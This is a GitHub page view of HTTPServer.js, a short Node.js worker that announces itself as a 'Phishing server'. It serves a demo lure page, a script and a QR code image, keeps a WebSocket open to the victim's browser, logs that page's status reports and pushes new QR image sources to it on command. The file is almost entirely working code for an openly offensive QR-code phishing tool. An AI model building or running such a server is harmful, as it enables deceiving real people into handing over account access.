-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathHTTPServer.js
More file actions
72 lines (71 loc) · 2.2 KB
/
Copy pathHTTPServer.js
File metadata and controls
72 lines (71 loc) · 2.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env node
import { exit } from "process";
import { readFileSync } from "node:fs";
import { join } from "path";
import { createServer } from "http";
import { WebSocketServer } from "ws";
import { isMainThread, parentPort, workerData } from "node:worker_threads";
import gradient from "gradient-string";
import chalk from "chalk";
if (!isMainThread) {
let hostname = workerData.hostname ? workerData.hostname : "localhost";
let port = workerData.port ? workerData.port : 8200;
let savedSocket;
const requestListener = async (req, res) => {
if (req.method === "GET" || req.method === "POST") {
if (req.url === "/" || req.url === "/index.html") {
const data = readFileSync(join("./template/demo/index.html"));
res.setHeader("Content-Type", "text/html");
res.writeHead(200);
res.end(data);
} else if (req.url === "/index.js") {
const data = readFileSync(join("./template/static/index.js"));
res.setHeader("Content-Type", "text/js");
res.writeHead(200);
res.end(data);
} else if (req.url === "/qrcode_localhost.png") {
const data = readFileSync(join("./template/static/qrcode_localhost.png"));
res.setHeader("Content-Type", "image/png");
res.writeHead(200);
res.end(data);
} else {
res.writeHead(404);
res.end();
}
} else {
res.writeHead(405);
res.end("Method Not Supported");
}
};
const server = createServer(requestListener);
const wss = new WebSocketServer({ server });
wss.on("connection", (socket) => {
savedSocket = socket;
socket.on("message", (event) => {
console.log(chalk.greenBright(JSON.parse(event).status));
});
});
wss.on("close", (reason) => {
console.log(reason);
});
server.listen(port, hostname, () =>
console.log(
gradient.instagram(
`Phishing server is listening on http://${hostname}:${port}`
)
)
);
function send(val) {
if (savedSocket) {
savedSocket.send(JSON.stringify(val));
}
}
parentPort.on("message", (message) => {
if (message.src) {
send({ src: message.src });
} else if (message.exit) {
send({ exit: "0" });
exit(0);
}
});
}